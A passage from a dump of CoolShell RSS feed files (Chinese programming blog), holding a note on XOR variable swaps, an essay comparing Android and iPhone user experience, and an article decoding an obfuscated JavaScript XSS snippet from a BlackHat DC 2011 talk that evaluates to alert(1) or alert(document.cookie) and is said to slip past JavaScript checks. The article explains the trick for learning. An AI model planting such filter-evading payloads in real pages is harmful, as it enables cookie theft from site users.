(*ecx)\n\n0000001E  C3                ret</pre>\n<p>注意：这段汇编中使用了XOR而不是引入第三个变量来完成了变量值的交换。</p>\n<p>关于XOR的方式，参看下面的示例：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">a = a^b;\nb=a^b;\na=b^a; </pre>\n<p>或者更为简单的：</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">a^=b^=a^=b;</code></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3572.html\">C语言函数实现的另类方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3572.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-22.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 22 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=22\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sun, 30 Mar 2014 03:41:00 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>一段Javascript的代码</title>\n\t\t<link>https://coolshell.cn/articles/3540.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3540.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 26 Jan 2011 00:39:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3540</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们先看一段Javascript的代码，如下所示：（你能看出来这是干什么的？） [javascript]($=[$=[]][(__=!$+$)[_=-~-~-~...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3540.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3540.html\">一段Javascript的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们先看一段Javascript的代码，如下所示：（你能看出来这是干什么的？）</p>\n<p>[javascript]($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+<br />\n($$=($_=!&#8221;+$)[_/_]+$_[+$])])()[__[_/_]+__<br />\n[_+~$]+$_[_]+$$](_/_)[/javascript]</p>\n<p>这段代码来自<a href=\"http://www.blackhat.com/html/bh-dc-11/bh-dc-11-home.html\" target=\"_blank\">BlackHat DC 2011</a>（(黑帽安全大会，全世界最大两个黑客大会之一，另一个是Defcon）中的一个叫<a href=\"http://www.blackhat.com/html/bh-dc-11/bh-dc-11-speaker_bios.html#Barnett\" target=\"_blank\">Ryan Barnett</a>黑客做的<a href=\"https://docs.google.com/viewer?url=http://www.modsecurity.org/documentation/XSS_Street_Fight-Ryan_Barnett-BlackhatDC-2011.pdf&amp;embedded=true&amp;chrome=true\" target=\"_blank\">XSS Street-Fight</a>！的演讲(XSS是Web上比较经典的跨站式攻击，操作起来也有些复杂)，一共69页，基本上都是一些比较枯燥的Javascript，不过这段代码挺有意思的，如果上面这段代码换个样子：</p>\n<p>[javascript]($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+<br />\n($$=($_=!&#8221;+$)[_/_]+$_[+$])])()[__[_/_]+__<br />\n[_+~$]+$_[_]+$$](document.cookie)[/javascript]</p>\n<p>你看到了document.cookie，于是你可能会想到这是偷用户帐号免登录cookie的。是的，就是这样。答案是，这代码等价于alert(document.cookie)，而最上面的那个代码等价于alert(1)——当然，还不仅仅只是alert。看到这里，你可能会想起<a title=\"6个变态的C语言Hello World程序 \" href=\"https://coolshell.cn/articles/914.html\" target=\"_blank\">变态的C语言Hello World程序</a>，以及<a title=\"如何加密/混乱C源代码\" href=\"https://coolshell.cn/articles/933.html\">如何加密/混乱C源代码</a>，是的，这回的这个是Javascript版的，混乱Javascript的会比混乱C的更难懂，因为Javascript的变量类型是可以乱用的。</p>\n<p>好，下面让我们来对这个代码做个解析。</p>\n<p><span id=\"more-3540\"></span>首先，我们先明确一点，在Javascript和C中，混乱后的代码都是要使用一个或多个下划线（_）来当变量名使用的，所以，请把其中的下划线看成变量名。</p>\n<p>其次，这段代码可以分成两个部分，第一个部门其实就是sort()，第二个部分才是alert()</p>\n<p>[javascript title=&#8221;sort()&#8221;]($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+<br />\n($$=($_=!&#8221;+$)[_/_]+$_[+$])])()[/javascript]</p>\n<p>[javascript title=&#8221;alert()&#8221;][__[_/_]+__[_+~$]+$_[_]+$$](_/_)[/javascript]</p>\n<p>我们来看看细节的解释。</p>\n<ul>\n<li>$=[] 是一个空数组</li>\n<li>$=[$=[]] 是一个引用空数组的数组。所以 $ 的解引用就是数字 0。</li>\n<li>__ =  (__ = !$ + $ )   等价于字符串&#8221;false&#8221;</li>\n<li>_ = -~-~-~$    中~是位运算符“非”，~$等于-1，所以-~$ 就是+1，基本上来说，~N就是 -(N+1)，所以这个表达式的值为3。</li>\n<li>因为_ = 3，所以 _/_ = 3/3 = 1</li>\n</ul>\n<p>于是：</p>\n<ul>\n<li>(__ = !$ + $ )[ _ = -~-~-~$]</li>\n<li>(&#8220;false&#8221;)[_]</li>\n<li>(&#8220;false&#8221;)[3]</li>\n<li>&#8220;false&#8221;[3] = s</li>\n</ul>\n<p>而：</p>\n<ul>\n<li>({} + $)[_/_]</li>\n<li>(&#8221; object&#8221;)[_/_]</li>\n<li>(&#8221; object&#8221;)[1]</li>\n<li>&#8221; object&#8221;[1] = o</li>\n</ul>\n<p>再来：</p>\n<ul>\n<li>$ = ( $_ = !&#8221; + $)[_/_]</li>\n<li>$ = ( &#8220;true&#8221;)[1]</li>\n<li>&#8220;true&#8221;[1] = r</li>\n</ul>\n<p>最后：</p>\n<ul>\n<li>$_[+$] = &#8220;true&#8221;[0] = t</li>\n</ul>\n<p>因为</p>\n<p>($$ = ( $_ = !&#8221; + $)[_/_] + $_[+$] ))</p>\n<p>所以我们可以经过下面的推算得出$$的值</p>\n<ul>\n<li>!&#8221; = &#8220;true&#8221;</li>\n<li>$_ = (true)</li>\n<li>$_[1] = r</li>\n<li>$_[0] = t</li>\n<li>$$ = rt</li>\n</ul>\n<p>所以第一部分就成了 sort()，也就是以下的代码</p>\n<p>[javascript]($ = [ $=[]] [&quot;s&quot; + &quot;o&quot;+ &quot;r&quot;+ &quot;t&quot; ] )()[/javascript]</p>\n<p>Sort 接受一个作为函数的参数来运行，从而执行了第二部份。</p>\n<p>[__[_/_]+__[_+~$]+$_[_]+$$](_/_)</p>\n<p>我们知道：</p>\n<ul>\n<li>$ = 0</li>\n<li>_ = 3</li>\n<li>__ = &#8220;false&#8221;</li>\n<li>$! = &#8220;true&#8221;</li>\n<li>$$ = &#8220;rt&#8221;</li>\n</ul>\n<p>[__[_/_]+__[_+~$]+$_[_]+$$](_/_)</p>\n<p>等价于<br />\n[__[1] + __[3 + -1] + $![3] + $$)(1);</p>\n<p>等价于<br />\n[&#8220;false&#8221;[1] + &#8220;false&#8221;[3 + -1 ] + &#8220;true&#8221;[3] + &#8220;rt&#8221;] (1)</p>\n<p>等价于<br />\n[ a + l + e + r + t ](1)</p>\n<p>等价于<br />\nalert(1)</p>\n<p>就是这样！于是这段代码可能绕过你的一些对Javascript的检查。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/lua-150x150.gif\" alt=\"Lua简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10739.html\" class=\"wp_rp_title\">Lua简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3540.html\">一段Javascript的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3540.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>食客还是大厨</title>\n\t\t<link>https://coolshell.cn/articles/3589.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3589.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 25 Jan 2011 00:46:45 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[iPhone]]></category>\n\t\t<category><![CDATA[老婆]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3589</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（请勿将本文用于商业用途，转载时注明作者和出处） 昨天我在文章《Android将允许纯C/C++开发应用》中发表了一些“很不中听”的观点，在我早晨上班刚打开电脑...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3589.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong><strong>（请勿将本文用于商业用途，转载时注明作者和出处）</strong></strong></p>\n<p>昨天我在文章《<a title=\"Android将允许纯C/C++开发应用\" href=\"https://coolshell.cn/articles/3549.html\" target=\"_blank\">Android将允许纯C/C++开发应用</a>》中发表了一些“很不中听”的观点，在我早晨上班刚打开电脑的时候，Gtalk上同学就发来了一条信息“<span style=\"color: #800080;\">android  为啥不用C/C++的原因是，android是开放式系统，为了能够跨平台。如果整回C/C++，那么windows  mobile就是前车之鉴。</span>”，于是和同学展了争论，同学的意思是Java是正确的，在硬件上的表现也将是很出色的，而且准入门槛低，最重要的是跨平台，跨平台是恶梦，而硬件上性能的问题在未来不是问题。iPhone是单一平台，所以不需要考虑跨平台。</p>\n<p>而在我的博文后面上也有许多的讨论，<a href=\"http://sd.csdn.net/a/20110124/290717.html\" target=\"_blank\">在CSDN上</a>也有一些，大家可以去看看。<strong>很多朋友都谈了谈为什么Java要比C++要好的理由，很多很多，大家可以去看看，我觉得挺好的</strong>。不过后来，我更新了一下我的文章，留下了几个让大家思考的问题，我希望大家都看看。</p>\n<p>在这里，我想和大家说说技术之上的东西。</p>\n<p>——————————————正文分割线——————————————</p>\n<p>在绝大多数的评论中，我看到了大家都是站在技术开发者的角度在讨论。我想这和Google的Android犯的是同一个毛病，那就是其注重了“程序员”，而不是“用户”。就像是，Unix是为程序员开发，Java 也是为程序员的跨平台难问题开发，而Windows是为用户开发，iPhone也是为用户开发。也许，我们认为，改进了程序员的开发体验后，能迸发出程序员强大的生产力，进而增加满足用户需求的能力。不过，我想说的是，<strong>这件事的初衷是好的，但事实上程序员是永远不懂用户的</strong>。</p>\n<p><span id=\"more-3589\"></span></p>\n<p>就像大家在讨论Android和Java的关系时，仅在谈跨平台，其实，跨平台关我最终用户屁事，开不开放并我最终用户P事。甚至，手机里装的是Linux还是Android还是Win Phone7还是Symbian，我做为一个用户我统统不关心，什么Java，还是C++，管我球事。作为一个程序员，如果你想不通这个观点的话，那你就去想想，你上饭馆点菜时，你会关心你点的菜是用什么样的锅碗瓢盆来盛，用什么样的燃料来做，什么样的刀来切，长在什么样的地，浇了什么样的肥……如果你还想不通的话，请看下面的例子：</p>\n<p>有一天，Google告诉所有的大厨，从我们发布Android开始，你们做菜就简单了，这是一个跨平台的烧菜系统，以后，作为厨师的你，做菜再也不用关心是用炒锅，蒸锅，煮锅，砂锅，电饭锅，平底锅，也不用关心做的是西餐还是中餐，我们推出的“虚拟锅”将屏蔽这些硬件和技术细节，以后，你面对的只有一口锅。当然，对于这个虚拟锅，你需要使用一种新型的叫Java锅勺。Java锅勺是强大的，容易的。（然而，过了几年后，他们却推出了传统锅勺）对此，一堆大厨，吵啊吵啊的，大家都在争论锅的好坏。</p>\n<p>来饭馆吃饭的食客说，关我屁事，都麻利儿地赶快给我上菜！给我好吃的！（<span style=\"color: #808080;\">到这里，我希望你看懂了，如果你没有看懂的话，就此打住，后面的对你就太深了</span>）</p>\n<p>当然，用户并不单单只是着迷于好吃的，还有好的服务和体验！程序员们管这个叫用户体验。不过，如果餐馆都关注大厨们做菜的体验了，很有可能会怠慢了用户体验。餐馆负责人吆喝着，我们的餐馆是跨平台的，是开放的，就是说，任何都可以在我们这里做吃的买给你。食客们说，什么？什么人都可以在你的餐馆里做菜？你搞错没有啊？！餐馆负责人说，这样我们可以吸引到更好的更优秀的大厨，能做出更优秀的菜，有的菜品还是其它餐馆提供的。食客们说，那可以试试。然后，当食客上桌的时候，他们发现不同的菜居然有不同的服务，而且点菜的流程也不一样，不过大家都号称自己有最好的用户体验和服务。此时，食客们反而犹豫了。而各位大厨在厨房津津乐道着自己的做菜体验，而没有挣到一分钱。餐馆负责人还继续向食们说：我们有四个订餐电话，不同的订餐电话可以订到不同的菜，以后这样的订餐电话会更多。</p>\n<p>这个时候，一家叫iPhone的餐馆出现了，用户体验非常好，服务也很到位，食客们从入座点菜和进餐的过程都非常的流畅和风格统一，都相当的简单。食客们说，你们的这些菜品是怎么来的？iPhone餐厅负责人说，我们厨房对大厨们其实也是开放的，不过，厨房里的硬件和烹饪器具都是固定而不能修改的，而且，他们要想在这里做菜的话，每年得交给我们99美元的审核费用，我们严格他们的做菜工序，并保证用户的体验一致，我们的收入会和这些厨师分成，特别是那些有秘方的厨师将会分得更多。我们就像麦当劳一样，加盟我们的人有很多，不过我们所有店面的风格和用户点餐的过程完全一致，方便而服务优质。当然，我们的收费是高一点，但在我们这里不会出现任何的混乱。对于食客来说，虽然有人抱怨iPhone餐馆的只有一个服务生（单进程），但是，食客对该餐馆的服务表示很放心，体验也没得说，流畅完美简单一致。</p>\n<p><em><span style=\"color: #800000;\"><strong>&#8212;&#8211;更新：2011/01/26&#8212;&#8211;</strong></span></em></p>\n<p>跨不跨平台，开不开放，一点都不关用户的事，那是程序员的事。但用户的体验很关用户的事。<strong>用户的体验包括两方面，一方面是技术所带来的功能体验，另一方面是服务体验</strong>。Android和iPhone的差别是，Android只关注开发人员的体验和功能的体验，并没有服务的体验，而iPhone把功能和服务的体验都打包了。Android选择走什么样的路无所谓，要打赢这场战争，Android一定要学会从技术向服务的过渡，否则，就开发而言，也就是吸引一下程序员和产商罢了，其对用户没有任何吸引力。</p>\n<p>但凡是走这条的，都很有问题（用户和服务跟不上，全部玩完，Linux的前期基本如此）</p>\n<ul>\n<li><strong>产品 -&gt; 开发人员 -&gt; 产商 -&gt; 用户 -&gt; 服务</strong>（???）</li>\n</ul>\n<p>而有些公司选择了这条路 （产品和服务先行，抢占用户市场相当快，比如Windows，IBM）</p>\n<ul>\n<li><strong>产品 + 服务 -&gt; 用户 -&gt; 开发人员 + 运营代理</strong></li>\n</ul>\n<p>我不认为Apple的经验无法复制，而是这样的模式很多很多，<strong>这个世界上有很多IT公司做到最后才发现，只有把产品和服务一同打包，才是用户想要的</strong>。</p>\n<p>——————————————————</p>\n<p>这就是<a href=\"https://coolshell.cn/articles/3363.html\" target=\"_blank\">Apple的简单之道</a>，上述内容素材取材于我和我老婆的对话（我老婆是文科，对编程不懂，她正是我了解最终用户的对象，也是我<a href=\"https://coolshell.cn/articles/3236.html\" target=\"_blank\">锻炼沟通</a>的对象）。下面是相关原始对话：</p>\n<p><strong>我</strong>：问个问题，如果有两家餐馆，你会先那家？</p>\n<ul>\n<li>第一家餐馆是开放的，怎么个开放呢？厨师可能是任何想做菜的人，有做的好的，也有做不好的。餐馆的厨房里的配置也是各式各样的，厨师甚至可以自带设备，反正，什么样的厨房用具都支持。另外，该餐馆有四个订餐电话，不过，不同的订餐电话都不一定都订到菜单上所有的菜，因为这个餐馆不但把厨房给开放出去了，订餐的方式也开放出去了。进餐体验方面，不同的分店有不同的样子。</li>\n</ul>\n<ul>\n<li>第二家餐馆是封闭的，不过他也对外面的厨师开放，并和厨师一同分成。厨师里的用具是餐馆定制好的，厨师要做菜，必需先交100美金的审核费，餐馆派专人审核厨师做的每一道菜，包括工序。每个餐厅的环境非常友好，也很简单，而且能让人感到非常不错的进餐体验，所有的分店都是一样。订餐电话只有一个，可以完成一键订餐。当然，第二家店要贵点。</li>\n</ul>\n<p><strong>老婆</strong>：你说的第一家就是那种像“大食代”的各种小吃拼起来的地儿吧？第二家就是像麦当劳， 必胜客，或是一些正规地像“海底捞”、“江南春”这样的店吧。第一家的店么就是顺便吃吃，要真正吃东西，还是要去第二种店。老公，难得你今天请我吃饭，我看就吃你说的第二种吧。（我晕，又把自己给绕进去了）</p>\n<p>——————————————正文分割线——————————————</p>\n<p>P.S. 有的朋友说我是C/C++出生，就是看不起Java。这样说我太小看我了，我的文章风格从来都是以一种调侃的方式，因为我觉得这样的文章会比那些枯燥的技术文章更有意思。我调侃C++和程序员的文章不比调侃Java要少，我对C++的观点从来都是C++是一门很不成熟的半成品语言！Java则要比它成熟的多得多，不过Java的跨平台和性能上的确是有很多东西可以调侃。</p>\n<p><strong>（请勿将本文用于商业用途，转载时注明作者和出处）</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"10个必需的iOS开发工具和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5089.html\" class=\"wp_rp_title\">10个必需的iOS开发工具和资源</a></li><li ><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/1_starting_point_full-150x150.jpg\" alt=\"Eclipse开发Android应用程序入门:重装上阵\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4334.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门:重装上阵</a></li><li ><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/install-150x150.gif\" alt=\"Eclipse开发Android应用程序入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3589.html\">食客还是大厨</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3589.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>68</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Android将允许纯C/C++开发应用</title>\n\t\t<link>https://coolshell.cn/articles/3549.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3549.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 24 Jan 2011 00:39:50 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3549</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>对于Android，长期以来，我一直有两件事搞不懂， 一个是为什么Android要选用Java。对于嵌入式开发，CPU和内存都很宝贵，居然还使用Java。 一个...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3549.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3549.html\">Android将允许纯C/C++开发应用</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     